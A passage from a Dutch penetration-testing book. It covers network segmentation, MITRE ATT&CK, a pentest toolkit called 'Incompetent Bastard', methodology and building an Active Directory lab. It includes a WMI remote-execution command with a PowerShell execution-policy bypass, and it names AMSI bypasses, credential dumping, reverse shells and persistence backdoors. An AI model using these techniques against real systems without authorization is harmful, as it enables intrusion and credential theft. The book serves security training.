Service Principal Names (SPNs) – Identifiers die een service koppelen aan een account in AD. SPNs zijn de sleutel tot Kerberoasting: als een account een SPN heeft, kun je een service ticket aanvragen voor dat account, en dat ticket offline kraken om het wachtwoord te achterhalen. Het mooie – vanuit het perspectief van de aanvaller – is dat dit volledig legitiem verkeer is. Je vraagt gewoon een ticket aan. Dat mag. En vervolgens kraak je het offline, waar niemand het ziet.

Subnetting en segmentatie

Netwerksegmentatie is het principe dat je een netwerk opdeelt in kleinere, geisoleerde segmenten. Het doel is simpel: als een aanvaller een systeem compromitteert in segment A, kan hij niet automatisch bij segment B.

In de praktijk werkt segmentatie via VLANs (Virtual LANs) en subnets. Een subnet wordt gedefinieerd door een IP-bereik en een subnetmasker:

10.0.1.0/24  -- Kantoornetwerk (254 hosts)
10.0.2.0/24  -- Servers (254 hosts)
10.0.3.0/24  -- Management (254 hosts)
10.0.0.0/29  -- DMZ (6 hosts)

De /24 notatie (CIDR) betekent dat de eerste 24 bits van het adres het netwerkgedeelte vormen, en de laatste 8 bits het hostgedeelte. Dat geeft 254 bruikbare adressen (256 minus het netwerkadres en het broadcast-adres).

Segmentatie werkt alleen als er regels zijn die verkeer tussen segmenten beperken. Een firewall of ACL (Access Control List) die bepaalt: het kantoornetwerk mag naar de webserver op poort 443, maar niet naar de databaseserver op poort 1433. In de praktijk zien we regelmatig netwerken waar alle VLANs vrijelijk met elkaar kunnen communiceren. Dan heb je geen segmentatie. Dan heb je VLANs als decoratie.

De term daarvoor, onder penetratiesters, is “flat network”. En een flat network is een feest voor een aanvaller.

Een goed gesegmenteerd netwerk ziet er zo uit:

Internet ─── [Firewall] ─── DMZ (webservers, mail)
                  │
                  ├── Kantoornetwerk (werkstations)
                  │
                  ├── Servernetwerk (applicaties, databases)
                  │
                  ├── Management (beheertools, jump hosts)
                  │
                  └── OT/IoT (productie, printers, camera's)

Tussen elke zone staan firewall-regels die alleen het strikt noodzakelijke verkeer toelaten. Het kantoornetwerk mag naar de webserver op poort 443, maar niet naar de databaseserver op poort 1433. Het management-netwerk mag overal naartoe, maar alleen via specifieke jump hosts met multifactor-authenticatie. OT is volledig geisoleerd en mag alleen uitgaand verkeer naar een update-server.

Dat is de theorie. De praktijk is – laten we zeggen – minder gestructureerd.

Het MITRE ATT&CK Framework

Wat het is

MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) is een kennisbank van aanvalstechnieken, gebaseerd op observaties uit de echte wereld. Het is geen checklist, geen scanner, en geen tool. Het is een taal – een gedeeld vocabulaire waarmee aanvallers en verdedigers over dezelfde dingen kunnen praten zonder langs elkaar heen te praten.

ATT&CK organiseert aanvalstechnieken in een matrix met Tactics (het waarom – het doel van de aanvaller) als kolommen en Techniques (het hoe – de specifieke methode) als rijen.

Tactics, Techniques, Procedures

De Tactics in ATT&CK voor Enterprise zijn:

Tactic Doel Voorbeeld
Reconnaissance Informatie verzamelen over het doelwit DNS enumeration, OSINT
Resource Development Infrastructuur en tools voorbereiden Payload generatie, C2-server setup
Initial Access Eerste voet binnen de deur Phishing, exploit public-facing
Execution Code uitvoeren op het doelsysteem PowerShell, WMI
Persistence Toegang behouden na reboot Scheduled tasks, registry keys
Privilege Escalation Hogere rechten verkrijgen Token impersonation, UAC bypass
Defense Evasion Detectie ontwijken AMSI bypass, obfuscation
Credential Access Wachtwoorden en hashes stelen Kerberoasting, LSASS dumping
Discovery Het netwerk verkennen BloodHound, net commands
Lateral Movement Naar andere systemen bewegen WMI, PSRemoting, DCOM
Collection Data verzamelen voor exfiltratie Keylogging, screenshots
Command and Control Communicatie met de aanvaller Reverse shells, DNS tunneling
Exfiltration Data naar buiten brengen HTTP, DNS exfiltration
Impact Schade aanrichten of doelen bereiken Ransomware, data destruction

Elke Technique heeft een uniek ID (bijvoorbeeld T1558 voor “Steal or Forge Kerberos Tickets”) en kan Sub-Techniques bevatten (T1558.003 voor “Kerberoasting”). Procedures zijn de specifieke implementaties – het daadwerkelijke commando dat een aanvaller of pentester uitvoert.

Een voorbeeld: de tactic “Credential Access” (TA0006) bevat onder andere de technique “OS Credential Dumping” (T1003), die sub-techniques heeft voor LSASS Memory (T1003.001), SAM (T1003.002), NTDS (T1003.003), en DCSync (T1003.006). Elk van deze sub-techniques heeft in de ATT&CK-documentatie een beschrijving, voorbeelden van tools die het implementeren, detectiemethoden, en mitigaties.

Het mooie van ATT&CK is dat het zowel voor aanvallers als verdedigers werkt. Een penetratietester gebruikt het om te plannen welke technieken hij gaat testen. Een SOC-analist gebruikt het om te begrijpen wat er gebeurt wanneer een alert afgaat. Een CISO gebruikt het om te communiceren welke dreigingen relevant zijn voor de organisatie. Het is een gedeelde taal, en gedeelde talen zijn zeldzaam en waardevol in een vakgebied dat vergeven is van jargon.

Mapping naar pentest-fases

ATT&CK is niet ontworpen als pentest-methodologie, maar het mapt er uitstekend op. Wanneer je in IB een finding vastlegt, kun je de MITRE ATT&CK technique ID toevoegen. Dit geeft opdrachtgevers een universeel referentiepunt en maakt het mogelijk om bevindingen te koppelen aan bekende dreigingsactoren.

De mapping werkt in twee richtingen. Van pentest naar ATT&CK: je hebt Kerberoasting uitgevoerd, dus je mapt naar T1558.003. Van ATT&CK naar pentest: de opdrachtgever wil weten of ze kwetsbaar zijn voor technieken die APT29 gebruikt, dus je zoekt de relevante techniques op in de ATT&CK-matrix en test ze.

De IB Command Library is bewust georganiseerd langs ATT&CK-lijnen. De kerb_-commando’s mappen naar Credential Access (TA0006), de lateral_-commando’s naar Lateral Movement (TA0008), de persist_-commando’s naar Persistence (TA0003). Dit maakt het eenvoudig om van een ATT&CK technique naar het bijbehorende IB-commando te navigeren.

IB Tip: De finding templates in IB bevatten een MITRE-veld. Wanneer je een bevinding aanmaakt, voeg je het technique ID toe (bijvoorbeeld T1558.003 voor Kerberoasting). Dit wordt meegenomen in de rapportgeneratie en de JSON-export, waardoor je bevindingen direct koppelbaar zijn aan de ATT&CK-matrix.

De IB Workflow

Incompetent Bastard is ontworpen als je operationele hub tijdens een pentest. Laten we de belangrijkste componenten doorlopen.

Het dashboard

Wanneer je IB opstart en navigeert naar http://127.0.0.1:5000/dashboard, zie je het hoofddashboard. Dit is je commandocentrum. Van hieruit heb je toegang tot:

Het dashboard vereist lokale toegang (127.0.0.1 of ::1) of een geldig DASHBOARD_ACCESS_TOKEN. Dit is bewust – je wilt niet dat een willekeurige bezoeker je pentest-dashboard kan bekijken.

# Uit meuk/flask/security.py -- de toegangscontrole is simpel maar effectief
_LOCAL_IPS = {"127.0.0.1", "::1"}

def dashboard_access_allowed():
    if is_local_request():
        return True
    token = current_app.config.get("DASHBOARD_ACCESS_TOKEN")
    if not token:
        return False
    supplied = request.headers.get("X-Dashboard-Token")
    return supplied == token

De Task Runner

De Task Runner (/dashboard/tasks) is een van de krachtigste onderdelen van IB. Het stelt je in staat om veelgebruikte taken uit te voeren vanuit de browser, met realtime output en zonder dat je een apart terminalvenster nodig hebt.

Het sleutelwoord hier is allowlist. De Task Runner voert uitsluitend voorgedefinieerde commando’s uit. Er is geen invoerveld waar je willekeurig shell-commando’s kunt typen. Elk commando is vastgelegd in een _TASKS-dictionary met expliciete argumentvalidatie via regex-patronen.

De beschikbare taakgroepen:

Groep Taken Beschrijving
Development compileall, pytest, git_status Code validatie en testing
Setup init, engage Omgeving initialiseren, VPN + Empire starten
Recon scan, search, kerberos, ftp_anon Nmap scans, Kerberos enum, FTP checks
Brute Force gen_passwords, brute_ssh, brute_rdp, brute_vpn, weak_ssh Wachtwoord-aanvallen
Exploit ftp_asp, rfi_input Exploit-uitvoering
Network sshuttle Tunneling en pivoting

Elke taak met argumenten valideert die argumenten streng:

# Regex patronen -- alleen veilige tekens toegestaan
_RE_SAFE_NAME = re.compile(r"^[a-zA-Z0-9_\-]+$")
_RE_IP_OR_IFACE = re.compile(r"^[a-zA-Z0-9._:/%\-]+$")
_RE_SUBNET = re.compile(r"^[0-9./]+$")

Path traversal (..) wordt expliciet geblokkeerd. Wachtwoorden worden als environment variabelen doorgegeven, niet als commandoregelargumenten (waar ze in ps aux zichtbaar zouden zijn). En – cruciaal – shell=False in alle subprocess.Popen-aanroepen, wat shell injection onmogelijk maakt.

Het is bijna ironisch: een tool voor penetratiesters die zelf goed beveiligd is. Maar zo hoort het ook.

IB Tip: Start een nmap-scan via de Task Runner: klik op “Network scan (nmap)” in de Recon-groep, vul het interface, de scannaam en het IP-bereik in, en klik op “Run”. De output streamt realtime naar het scherm.

De Command Library

De Command Library is het referentiebrein van IB. Het bevat 194 command files die elk een specifieke techniek documenteren met meerdere methoden, variaties en tips.

De commando’s zijn georganiseerd in categorieen herkenbaar aan hun prefix:

Prefix Categorie Aantal Voorbeelden
ad_ Active Directory 8 ad_bloodhound_collect, ad_dcsync, ad_enum_acl
adcs_ AD Certificate Services 4 adcs_enum, adcs_esc1, adcs_esc3
amsi_ AMSI Bypass 5 amsi_bypass_patch, amsi_invisishell
applocker_ AppLocker Bypass 3 applocker_msbuild, applocker_mshta
av_ Antivirus Evasion 4 av_defendercheck, av_shellter
cred_ Credential Access 4 cred_lsass_ppldump, cred_sam_dump
enum_ Enumeration 7 enum_domain_users, enum_shares_files
kerb_ Kerberos Attacks 10 kerb_kerberoast, kerb_golden_ticket
lateral_ Lateral Movement 6 lateral_wmi, lateral_psremoting
persist_ Persistence 5 persist_skeleton_key, persist_dsrm
privesc_ Privilege Escalation 3 privesc_uac_bypass, privesc_linux_cron
web_ Web Attacks 30 web_sqli_union, web_ssti_jinja
linux_ Linux-specifiek 4 linux_ssh_hijack, linux_ldpreload
mssql_ MSSQL Attacks 4 mssql_xpcmdshell, mssql_linked
net_ Networking/Tunneling 3 net_chisel_tunnel, net_dnscat2_server
ps_cradle_ PowerShell Cradles 5 ps_cradle_iwr, ps_cradle_xmlhttp
shell_ Reverse Shells 2 shell_powercat, shell_socat
tunnel_ Tunneling 4 tunnel_ssh_socks, tunnel_plink

Elk command file bevat kopieerbare commando’s met inline commentaar in het Nederlands. Placeholder-waarden ([host]) worden automatisch vervangen door het actuele IP-adres uit de IB-instellingen.

IB Tip: Gebruik het zoekpaneel op het dashboard om snel door alle 194 commando’s te zoeken. Typ een trefwoord – “kerberos”, “lateral”, “mimikatz” – en de relevante command files verschijnen direct.

Screen Terminal

De Screen Terminal (/dashboard/recordings) geeft je toegang tot actieve screen-sessies. Taken die via de Task Runner in een screen-sessie worden gestart (zoals de engage-taak die OpenVPN en Empire opstart) zijn hier bereikbaar en bestuurbaar.

Screen-sessies zijn bijzonder nuttig voor langlopende taken: een Responder die uren draait en wacht op NTLM-hashes, een sshuttle-tunnel die je netwerktoegang open houdt, of een Empire-listener die wacht op callbacks. Via de Screen Terminal kun je de output volgen zonder dat je een apart terminalvenster open hoeft te houden.

IB Tip: De engage-taak in de Task Runner start automatisch OpenVPN en PowerShell Empire in afzonderlijke screen-sessies. Gebruik de Screen Terminal om de sessies te monitoren en te beheren.

Findings en rapportage

Het Findings Management-systeem (/dashboard/findings) is waar je werk wordt gedocumenteerd. Elke bevinding krijgt:

IB berekent CVSS 4.0-scores via een ingebouwde calculator die alle elf base metrics valideert. Het resultaat is een score van 0.0 tot 10.0 met een severity-classificatie (None, Low, Medium, High, Critical).

Wanneer je klaar bent, genereert /dashboard/findings/rapport een compleet rapport. IB converteert LaTeX-templates naar HTML en vervolgens naar Markdown via pandoc, met automatische OWASP-categorisering en cross-referenties tussen bevindingen. Het resultaat is een rapport dat direct bruikbaar is voor de opdrachtgever.

IB Tip: Importeer standaard finding templates via de “Seed” functie op de findings-pagina. Dit laadt een volledige set voorgedefinieerde bevindingen met OWASP, CWE en MITRE-mappings, zodat je niet elke finding vanaf nul hoeft op te bouwen.

Pentest-methodologie

De fases

Een penetratietest is geen willekeurige verzameling aanvallen. Het is een gestructureerd proces dat een aanvaller simuleert, stap voor stap, met het doel om de werkelijke risico’s voor een organisatie bloot te leggen. De fases:

1. Scope en voorbereiding

Voordat je ook maar een enkel pakket verstuurt, leg je vast wat je mag testen, wanneer je mag testen, en wat er buiten scope valt. Dit is het document waar we het in het voorwoord over hadden – het verschil tussen een pentest en een misdrijf.

Scope omvat: IP-bereiken, domeinen, systemen, tijdvensters, en – cruciaal – wat je niet mag doen. Productiedatabases benaderen? Denial-of-service? Social engineering? Dit moet allemaal zwart op wit staan.

Een goed scope-document bevat ook een escalatieprocedure: wie bel je als je per ongeluk een productiesysteem platlegt? Wie is je aanspreekpunt bij de klant? Wie heeft de bevoegdheid om de test te stoppen? Dit zijn geen theoretische vragen – dit zijn vragen die je beantwoord wilt hebben voordat het mis gaat, niet erna.

2. Reconnaissance

Informatie verzamelen. Passief (OSINT, DNS records, certificaten) en actief (nmap-scans, service-enumeratie, LDAP-queries). Het doel: een zo compleet mogelijk beeld van het aanvalsoppervlak.

In een netwerkpentest betekent reconnaissance: welke hosts zijn er, welke poorten staan open, welke services draaien erop, welke versies, en – als het een AD-omgeving is – hoe ziet de domeinstructuur eruit.

# Een typische IB Task Runner recon-flow:
# 1. Network scan via nmap
bash scan.sh tun0 engagement-name 10.0.0.0/24

# 2. Zoek specifieke services in de resultaten
bash search.sh engagement-name http
bash search.sh engagement-name 3389

# 3. Kerberos-enumeratie
bash kerberos.sh engagement-name

3. Initial Access

De eerste voet binnen de deur. Dit kan via honderden wegen: een gecompromitteerd wachtwoord, een kwetsbare dienst, een phishing-aanval, een misconfiguratie. In een interne pentest begin je vaak al “binnen” – je hebt fysiek toegang tot het netwerk of een VPN-verbinding, en je begint als een reguliere gebruiker zonder speciale rechten. De vraag is dan niet of je hogere rechten kunt krijgen, maar hoe snel.

In een externe pentest moet je eerst een weg naar binnen vinden. Dat kan via een kwetsbare webapplicatie (zie het zusterboek), een openstaande dienst, een gestolen credential set van een eerdere databreach, of – steeds vaker – via misconfiguraties in cloud-diensten die gekoppeld zijn aan het on-premises AD.

4. Execution

Code uitvoeren op het doelsysteem. PowerShell, cmd, WMI, scheduled tasks – de methode hangt af van wat beschikbaar is en wat niet gedetecteerd wordt. In moderne omgevingen met EDR en AMSI is dit de fase waar je creatief moet worden. De IB Command Library bevat vijf AMSI-bypass-technieken (amsi_bypass_patch, amsi_bypass_reflection, amsi_bypass_context, amsi_bypass_clm, amsi_invisishell) en drie AppLocker-bypasses (applocker_msbuild, applocker_installutil, applocker_mshta) om detectie te ontwijken.

5. Privilege Escalation

Van een gewone gebruiker naar lokale administrator, en vandaar naar Domain Admin. Dit is het pad dat elke netwerkpentest volgt, en het pad dat in de meeste bedrijfsnetwerken korter is dan je zou willen.

Lokale privilege escalation: misconfiguraties in services, unquoted service paths, AlwaysInstallElevated, token impersonation. Domein privilege escalation: Kerberoasting van service accounts, AS-REP roasting, misconfigureerde ACLs, ADCS-misbruik.

6. Lateral Movement

Van het ene systeem naar het andere bewegen. WMI, PSRemoting, DCOM, SMB, RDP – de methoden zijn talrijk. Het doel is om systemen te vinden waar hogere rechten beschikbaar zijn, of waar gevoelige data staat.

# Uit de IB Command Library -- lateral_wmi:
wmic /node:TARGET_IP process call create "powershell -ep bypass ..."

7. Persistence

Toegang behouden, zelfs als het initieel gecompromitteerde account wordt vergrendeld of het wachtwoord wordt gewijzigd. Skeleton keys, Golden Tickets, DSRM backdoors, AdminSDHolder-manipulatie – Active Directory biedt een verbijsterende hoeveelheid persistentie-opties.

Opmerking: in een pentest gebruik je persistence alleen als het binnen de scope valt. Je documenteert de mogelijkheid, maar je laat geen daadwerkelijke backdoors achter.

8. Impact en rapportage

De laatste fase: documenteer wat je hebt gevonden, bereken de risico’s (CVSS 4.0), en schrijf een rapport dat zowel technische details bevat voor de IT-afdeling als een management-samenvatting voor het bestuur. IB’s rapportgeneratie helpt hierbij – het converteert je bevindingen automatisch naar een gestructureerd rapport met OWASP-classificaties, CWE-nummers en MITRE ATT&CK-referenties.

Een goed pentest-rapport is geen opsomming van kwetsbaarheden. Het is een verhaal. Het vertelt de opdrachtgever: “Dit is hoe een aanvaller uw netwerk zou binnendringen, dit is wat hij zou vinden, dit is hoe ver hij zou komen, en dit is wat u kunt doen om het te voorkomen.” De bevindingen zijn het bewijs. Het verhaal is de waarde.

IB Tip: Gebruik de Notes-functie (/dashboard/notes) om je narratief vast te leggen tijdens de pentest. Notes met de vlag rapport=True worden automatisch opgenomen in het gegenereerde rapport, zodat je verhalende context en technische bevindingen naadloos kunt combineren.

Kill chain vs. ATT&CK

De Lockheed Martin Cyber Kill Chain is het oudere model: zeven stappen van Reconnaissance tot Actions on Objectives. Het is lineair en simpel, wat zowel zijn kracht als zijn zwakte is. Het gaat ervan uit dat een aanval een keten is – breek een schakel, en de aanval faalt.

ATT&CK is rijker en realistischer. Het erkent dat aanvallers niet lineair werken. Ze springen tussen fases, herhalen stappen, en gebruiken meerdere technieken tegelijk. ATT&CK is een matrix, geen keten.

Kill Chain-fase ATT&CK Tactics
Reconnaissance Reconnaissance
Weaponization Resource Development
Delivery Initial Access
Exploitation Execution, Privilege Escalation
Installation Persistence, Defense Evasion
Command and Control Command and Control
Actions on Objectives Collection, Exfiltration, Impact

Beide modellen zijn nuttig. De Kill Chain voor de grote lijn, ATT&CK voor de details. In dit boek gebruiken we voornamelijk ATT&CK, omdat het beter aansluit bij de manier waarop penetratietesten in de praktijk verlopen.

Er zijn ook andere methodologieen: OSSTMM, PTES, OWASP Testing Guide. Ze hebben elk hun eigen focus en sterke punten. Maar ATT&CK is de de facto standaard geworden in de industrie, en het is het raamwerk dat de meeste opdrachtgevers herkennen en waarderen in een rapport.

Het lab opzetten

Je hebt een lab nodig. Je kunt niet leren netwerken te testen door erover te lezen – je moet het doen. En je doet het niet op het netwerk van je werkgever, je buurman, of een willekeurig bedrijf dat je online vindt. Je doet het in je eigen lab.

Minimale AD-lab

Een bruikbaar Active Directory-lab bestaat uit minimaal vier machines:

Machine Rol OS RAM Opslag
DC01 Domain Controller Windows Server 2019+ 2 GB 40 GB
WS01 Workstation (domain-joined) Windows 10/11 Pro 2 GB 40 GB
WS02 Workstation (domain-joined) Windows 10/11 Pro 2 GB 40 GB
ATTACK Aanvalsmachine Kali / ParrotOS 2 GB 40 GB

Totaal: 8 GB RAM en 160 GB opslag. Dat is niet niets, maar het is haalbaar op een moderne laptop met 16 GB RAM en een SSD. Gebruik VirtualBox, VMware Workstation, of Hyper-V als hypervisor.

DC01 is het hart. Installeer Windows Server, promoveer het tot Domain Controller, creeer een domain (bijvoorbeeld lab.local), en maak gebruikersaccounts en groepen aan. Voeg bewust misconfiguratities toe: een service account met een zwak wachtwoord, een gebruiker met GenericAll op een admin-groep, een SPN op een account met een kraakbaar wachtwoord.

WS01 en WS02 zijn domain-joined werkstations. Log in met verschillende gebruikersaccounts. Sla credentials op. Open sessies. Dit simuleert een echte kantooromgeving waar gebruikers ingelogd zijn en hun tokens rondvliegen.

ATTACK is je Kali of ParrotOS-machine. Hier draait IB, hier draai je je tools, hier begin je je aanval.

Optioneel: een Linux-server. Voeg een Ubuntu- of CentOS-server toe die domain-joined is via SSSD of Samba. Veel bedrijfsnetwerken bevatten Linux-servers die geintegreerd zijn met Active Directory, en de aanvalstechnieken daarvoor – SSH agent hijacking, LD_PRELOAD injection, Ansible credential harvesting – zijn fundamenteel anders dan Windows-aanvallen. De IB Command Library bevat commando’s hiervoor onder het linux_-prefix.

Netwerkconfiguratie: Zet alle machines in hetzelfde virtuele netwerk (host-only of intern netwerk in je hypervisor). Geef DC01 een vast IP-adres (bijvoorbeeld 10.0.0.10) en laat de werkstations hun IP via DHCP van de DC krijgen. De aanvalsmachine krijgt een vast IP in hetzelfde subnet (bijvoorbeeld 10.0.0.100).

Bewuste kwetsbaarheden: Het doel van het lab is om te leren. Een perfect beveiligd lab is nutteloos voor een penetratietester in opleiding. Voeg daarom bewust de volgende misconfiguratites toe:

De aanvalsmachine: Kali of ParrotOS

Kali Linux is de de facto standaard voor penetratietesten. Het komt voorgeinstalleerd met honderden tools – nmap, Metasploit, Impacket, CrackMapExec, BloodHound, en meer. ParrotOS is een alternatief dat lichter is en een minder opvallende desktop heeft (handig als je in een kantoor zit en niet wilt dat iedereen over je schouder meekijkt naar een screaming-red terminal).

Beide distributies zijn geschikt. Dit boek is agnostisch – we noemen tools, niet distributies.

Zorg er wel voor dat de volgende tools geinstalleerd zijn op je aanvalsmachine, naast de standaardtools die met Kali/Parrot worden meegeleverd:

IB installatie en configuratie

IB installeren op je aanvalsmachine:

# Clone de repository
git clone <repo-url> incompetentbastard
cd incompetentbastard

# Creeer een virtual environment
python3 -m venv .venv
source .venv/bin/activate

# Installeer dependencies
pip install -r requirements.txt

# Start IB
flask --app app:create_app run --host 127.0.0.1 --port 5000

Na het starten navigeer je naar http://127.0.0.1:5000 in je browser. Als alles goed gaat, zie je een simpele pagina. Navigeer naar http://127.0.0.1:5000/dashboard voor het volledige dashboard met alle panelen.

Als je een foutmelding krijgt: controleer of Python 3.8+ is geinstalleerd, of alle dependencies correct zijn geinstalleerd (let op sh, flask-migrate, flask-sqlalchemy, cvss, en pandoc), en of poort 5000 niet al in gebruik is.

Configuratie via environment variabelen:

Variabele Standaard Doel
SECRET_KEY Random gegenereerd Sessie- en CSRF-signing
IB_ADMIN_USER Niet gezet Admin Basic Auth gebruikersnaam
IB_ADMIN_PASSWORD Niet gezet Admin Basic Auth wachtwoord
DASHBOARD_ACCESS_TOKEN Niet gezet Token voor remote dashboard-toegang
PUBLIC_UPLOAD false Uploads toestaan van niet-localhost
PUBLIC_DOWNLOADS false Downloads toestaan van niet-localhost

Voor een typisch lab-scenario is de standaardconfiguratie voldoende. IB luistert op 127.0.0.1:5000 en accepteert alleen lokale verbindingen. Als je IB op een andere machine wilt benaderen (bijvoorbeeld via een SSH-tunnel), stel dan DASHBOARD_ACCESS_TOKEN in en stuur het token mee in de X-Dashboard-Token header.

IB Tip: Draai flask --app app:create_app run --host 0.0.0.0 --port 5000 alleen als je IB bewust toegankelijk wilt maken voor andere machines. Stel in dat geval altijd een DASHBOARD_ACCESS_TOKEN in. Zonder token is het dashboard alleen toegankelijk vanaf localhost.

Eerste stappen na installatie

  1. Stel je IP in – Ga naar het dashboard en configureer je IP-adres (het adres van je aanvalsmachine op het lab-netwerk, bijvoorbeeld http://10.0.0.100). Dit IP wordt gebruikt als placeholder in command files.

  2. Verken de Command Library – Klik door de commando’s. Lees ze. Begrijp wat ze doen voordat je ze uitvoert. Een commando kopieren en plakken zonder het te begrijpen is geen pentest – het is Russisch roulette met iemands netwerk.

  3. Draai een scan – Gebruik de Task Runner om een nmap-scan uit te voeren op je lab-netwerk. Dit is je eerste reconnaissance-stap en geeft je een overzicht van welke systemen en diensten actief zijn.

  4. Maak je eerste finding – Zelfs als je nog niets hebt gevonden, maak een test-finding aan om vertrouwd te raken met het systeem. Vul een CVSS-vector in, voeg evidence toe, en genereer een rapport.

  5. Importeer de standaard-findings – Ga naar /dashboard/findings en gebruik de “Seed” functie om de volledige set standaard finding templates te laden. Deze templates bevatten voorgedefinieerde beschrijvingen, OWASP-classificaties, CWE-nummers, MITRE ATT&CK-mappings en aanbevelingen in zowel het Nederlands als het Engels.

  6. Test de rapportgeneratie – Maak een paar test-findings aan, link ze aan templates, en genereer een rapport via /dashboard/findings/rapport. Bekijk het resultaat. Begrijp hoe de LaTeX-templates worden omgezet naar Markdown. Als het er niet uitziet zoals je wilt, weet je dat nu – niet op de laatste dag van het engagement wanneer de opdrachtgever het rapport morgen verwacht.

De realiteit van bedrijfsnetwerken

Er is een reden dat penetratietesten bijna altijd succesvol zijn. Het is niet omdat pentesters zo briljant zijn – hoewel we onszelf dat graag vertellen na het derde biertje op een conferentie. Het is omdat bedrijfsnetwerken, collectief en consequent, buitengewoon slecht zijn beveiligd.

Niet door gebrek aan budget. Niet door gebrek aan tools. Maar door gebrek aan begrip.

Een gemiddeld bedrijf koopt een firewall van een half miljoen euro, een SIEM dat niemand leest, een EDR-oplossing die elke maand een nieuwe naam krijgt vanwege weer een overname in de beveiligingsindustrie, en een awareness-training die medewerkers leert om niet op verdachte links te klikken – behalve wanneer die link afkomstig is van de CEO die haast heeft, want dan klik je natuurlijk wel.

En ondertussen heeft het service account voor de SQL-server het wachtwoord Summer2019!, is de Domain Admins-groep gevuld met mensen die er zijn toegevoegd “voor die ene keer” en er nooit meer uit zijn gehaald, en staat er een print-server die sinds 2016 niet meer is gepatcht rustig te wachten op een PrintNightmare-exploit.

Het mooiste is nog de jaarlijkse penetratietest. Elk jaar komt er een team, vindt dezelfde dingen, schrijft hetzelfde rapport, en vertrekt weer. De opdrachtgever leest het rapport, schrikt een beetje, belooft beterschap, en legt het rapport in een la. Volgend jaar komt hetzelfde team, vindt dezelfde dingen – plus een paar nieuwe – en de cyclus herhaalt zich. Het is alsof je elk jaar naar de tandarts gaat, te horen krijgt dat je moet flossen, het niet doet, en dan volgend jaar verbaasd bent dat je weer gaatjes hebt.

Het meest cynische aspect is misschien wel de manier waarop bedrijven reageren op een pentest-rapport. De bevindingen met het label “Critical” worden gefixt. Soms. Als het niet te veel kost en als het niet te veel impact heeft op de gebruikers. De bevindingen met het label “High” worden op een lijst gezet. De bevindingen met het label “Medium” worden gelezen en vervolgens vergeten. En de bevindingen met het label “Low” worden beschouwd als features, niet als bugs.

En dan is er die ene organisatie die zegt: “Maar wij zijn niet interessant voor hackers.” Alsof ransomware-groepen een doelgroepanalyse maken voor ze aanvallen. Alsof er een minimum omzeteis geldt voor cybercriminaliteit. Iedereen die een computer heeft en een netwerk dat draait, is een doelwit. De vraag is niet of je wordt aangevallen. De vraag is of je het merkt.

De tools in dit boek – BloodHound, Rubeus, Mimikatz, Impacket, SharpHound – zijn niet magisch. Ze doen precies wat de documentatie zegt. Ze werken omdat de omgevingen waarin ze worden losgelaten vol zitten met configuratiefouten die daar al jaren zitten, die iedereen kent, en die niemand fixt.

De tools in dit boek zijn niet magisch. Ze doen precies wat de documentatie zegt. Ze werken omdat de omgevingen waarin ze worden losgelaten vol zitten met configuratiefouten die daar al jaren zitten, die iedereen kent, en die niemand fixt.

Dat is de werkelijke les van penetratietesten. Het gaat niet om de aanval. Het gaat om de verdediging die er niet was.

Wat je in dit boek zult leren

Dit boek is opgedeeld in hoofdstukken die ruwweg het pad volgen van een netwerkpenetriatietest:

Hoofdstuk Onderwerp ATT&CK Fases
1 Inleiding en lab setup
2 Reconnaissance en scanning Reconnaissance, Discovery
3 Initial Access Initial Access
4 Execution en evasion Execution, Defense Evasion
5 Kerberos-aanvallen Credential Access
6 Privilege escalation Privilege Escalation
7 ADCS-aanvallen Credential Access, Privilege Escalation
8 Lateral movement Lateral Movement
9 Persistence Persistence
10 Pivoting en tunneling Command and Control
11 MSSQL-aanvallen Lateral Movement, Execution
12 Linux in een AD-omgeving Credential Access, Lateral Movement
13 Rapportage en findings

Elk hoofdstuk bevat theorie, praktijkvoorbeelden, IB-commando’s, en verdedigingsmaatregelen. We eindigen elk hoofdstuk met een referentietabel die alle behandelde technieken samenvat met hun MITRE ATT&CK-referenties en bijbehorende IB-commando’s.

De volgorde van hoofdstukken weerspiegelt het pad dat een aanvaller typisch volgt, maar in de praktijk is dat pad zelden lineair. Je springt terug en vooruit. Je vindt iets in de reconnaissance-fase dat je direct brengt bij lateral movement. Je stuit op een ADCS-misconfiguratie terwijl je eigenlijk bezig was met privilege escalation. Dat is normaal. Dat is hoe penetratietesten werken.

Klaar? Open je terminal. Start IB. En laten we beginnen.

Referentietabel Hoofdstuk 1

Onderwerp Techniek / Concept MITRE ATT&CK IB Commando’s
DNS-enumeratie Zone transfer, subdomain enum T1018 recon_dns
Nmap scanning Port scan, service detection T1046 Task Runner: scan, search
Kerberos-enumeratie User enumeration via Kerberos T1558 Task Runner: kerberos
BloodHound AD attack path analyse T1087 ad_bloodhound_collect
Kerberoasting Service ticket kraken T1558.003 kerb_kerberoast
Lateral Movement (WMI) Remote command execution T1047 lateral_wmi
Lateral Movement (PSR) PowerShell Remoting T1021.006 lateral_psremoting
Pass-the-Hash NTLM authenticatie met hash T1550.002 kerb_opth
DCSync AD-replicatie voor credentials T1003.006 ad_dcsync
Golden Ticket Onbeperkte AD-toegang T1558.001 kerb_golden_ticket
ADCS Enumeratie Certificate template enum T1649 adcs_enum
AMSI Bypass AntiMalware Scan Interface T1562.001 amsi_bypass_patch, amsi_bypass_reflection
AppLocker Bypass Application whitelisting T1218 applocker_msbuild, applocker_mshta
Credential Dumping LSASS, SAM, token T1003 cred_lsass_ppldump, cred_sam_dump
Persistence Skeleton Key, DSRM, SDHolder T1098 persist_skeleton_key, persist_dsrm
MSSQL Attacks xp_cmdshell, linked servers T1505 mssql_xpcmdshell, mssql_linked
Tunneling SSH, Chisel, plink T1572 tunnel_ssh_socks, net_chisel_tunnel
CVSS 4.0 Risicobeoordeling IB Findings Management
Rapportgeneratie LaTeX naar Markdown via pandoc /dashboard/findings/rapport

Verkenning

Verkenning

“Elke ontdekkingsreiziger begint met een kaart. De goede ontdekkingsreiziger begint met de kaart van iemand anders.”

2.1 De plattegrond lezen

Stel je voor dat je in een onbekende stad aankomt. Je hebt een adres, een vaag idee van de wijk, en verder niets. Je kunt twee dingen doen: blind door straten lopen en hopen dat je iets vindt, of eerst even op een bankje gaan zitten met een plattegrond en uitzoeken waar de deuren zijn, de steegjes, de achteringangen. Verkenning – reconnaissance – is dat bankje. Het is het minst spectaculaire deel van een penetratietest en tegelijkertijd het belangrijkste.

